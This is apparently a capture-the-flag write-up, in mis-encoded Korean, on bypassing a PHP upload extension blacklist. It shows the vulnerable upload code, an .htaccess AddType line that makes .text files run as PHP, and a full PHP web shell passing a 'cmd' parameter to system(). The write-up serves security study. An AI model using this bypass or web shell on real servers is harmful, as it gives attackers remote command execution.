your name here

[2025-07-27] Apache htaccess

๐Ÿฆฅ ๋ณธ๋ฌธ

  • index.php
<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online File Box</h1>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <div class="field">
                <div id="file-js" class="file has-name">
                    <label class="file-label">
                        <input class="file-input" type="file" name="file">
                        <span class="file-cta">
                            <span class="file-label">Choose a file...</span>
                        </span>
                        <span class="file-name">No file uploaded</span>
                    </label>
                </div>
            </div>
            <div class="control">
                <input class="button is-success" type="submit" value="submit">
            </div>
        </form>
        </div>
        </div>
        <script>
            const fileInput = document.querySelector('#file-js input[type=file]');
            fileInput.onchange = () => {
                if (fileInput.files.length > 0) {
                const fileName = document.querySelector('#file-js .file-name');
                fileName.textContent = fileInput.files[0].name;
                }
            }
        </script>
    </body>
</html>

์œ„์˜ ์ฝ”๋“œ๋Š” <input type=โ€fileโ€> ๋ณ€๊ฒฝ์„ ๊ฐ์ง€ํ•˜์—ฌ .file-name ์š”์†Œ์— ํŒŒ์ผ ์ด๋ฆ„์„ ํ‘œ์‹œํ•˜๋Š” ์ฝ”๋“œ์ด๋‹ค. ์ฆ‰, ์‚ฌ์šฉ์ž๊ฐ€ ์—…๋กœ๋“œํ•  ํŒŒ์ผ์„ ์„ ํƒํ•˜๋ฉด ํŒŒ์ผ ์ด๋ฆ„์„ ํ™”๋ฉด์— ํ‘œ์‹œํ•œ๋‹ค.

  • upload.php
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

์œ„์˜ ์ฝ”๋“œ๋Š” ํŒŒ์ผ์„ ์—…๋กœ๋“œํ–ˆ์„ ๋•Œ ์ž‘๋™ํ•˜๋Š” ์ฝ”๋“œ์ด๋‹ค.

<input type=โ€fileโ€> ์—์„œ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค.

  • $file์€ ํ•ด๋‹น ํŒŒ์ผ ์ •๋ณด๋“ค
  • $file[โ€œerrorโ€]๋Š” ์—…๋กœ๋“œ ๋„์ค‘ ๋ฐœ์ƒํ•œ ์—๋Ÿฌ ์ฝ”๋“œ
  • $file[โ€œnameโ€]๋Š” ํŒŒ์ผ๋ช…
  • $file[โ€œtmp_nameโ€]๋Š” ํŒŒ์ผ์ด ์ž„์‹œ๋กœ ์ €์žฅํ•œ ํŒŒ์ผ ๊ฒฝ๋กœ

explode()๋ฅผ ํ†ตํ•ด . ๋ฅผ ๊ตฌ๋ถ„ํ•˜์—ฌ ์ชผ๊ฐœ๊ณ  ๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์ด ํ™•์žฅ์ž๊ฐ€ ๋œ๋‹ค. ํ™•์žฅ์ž๊ฐ€ ํ•„ํ„ฐ๋ง์„ ํ†ต๊ณผํ•˜๋ฉด ์ œ๋Œ€๋กœ ์ €์žฅ์ด ๋˜๊ณ  ์ €์žฅ๋œ ์œ„์น˜๋ฅผ ์ด์šฉ์ž์—๊ฒŒ ๋ณด๋‚ด์ค€๋‹ค. ์ฆ‰, ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•ด์•ผ ํ•œ๋‹ค.

์ œ๋ชฉ ์ฒ˜๋Ÿผ .htaccess ํŒŒ์ผ์„ ์ด์šฉํ•ด์•ผ ํ•œ๋‹ค. ํ•ด๋‹น .htaccess๋ฅผ ๋ฎ์–ด์”Œ์›Œ์„œ ํ™•์žฅ์ž๋ฅผ ์šฐํšŒํ•ด์•ผ ํ•œ๋‹ค.

ํ’€์ด

  1. .htaccess ํŒŒ์ผ์„ ๋งŒ๋“ ๋‹ค.

     ADDType application/x-httpd-php .text
    • text ํŒŒ์ผ์„ php ํŒŒ์ผ๋กœ ์ธ์‹ํ•˜๊ฒŒ ํ•œ๋‹ค.
  2. .htaccess๋ฅผ ์—…๋กœ๋“œ ํ•˜์—ฌ ์œ„์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์„ค์ •ํ•œ๋‹ค
  3. ์›น์…ธ ์ฝ”๋“œ๋ฅผ text ํ˜•ํƒœ๋กœ ์—…๋กœ๋“œํ•œ๋‹ค
    • hack.text
     <html>
 <body>
 <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
 <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
 <input type="SUBMIT" value="Execute">
 </form>
 <pre>
 <?php
     if(isset($_GET['cmd']))
     {
         system($_GET['cmd']);
     }
 ?>
 </pre>
 </body>
 </html>
  4. ์„ค์น˜๋œ ์ฃผ์†Œ๋กœ ๋“ค์–ด๊ฐ€์„œ ์›น์…ธ์„ ์‹คํ–‰์‹œํ‚ค๊ณ  flag๋ฅผ ํš๋“ํ•œ๋‹ค.

Categories:

Updated:

Leave a comment

You may also enjoy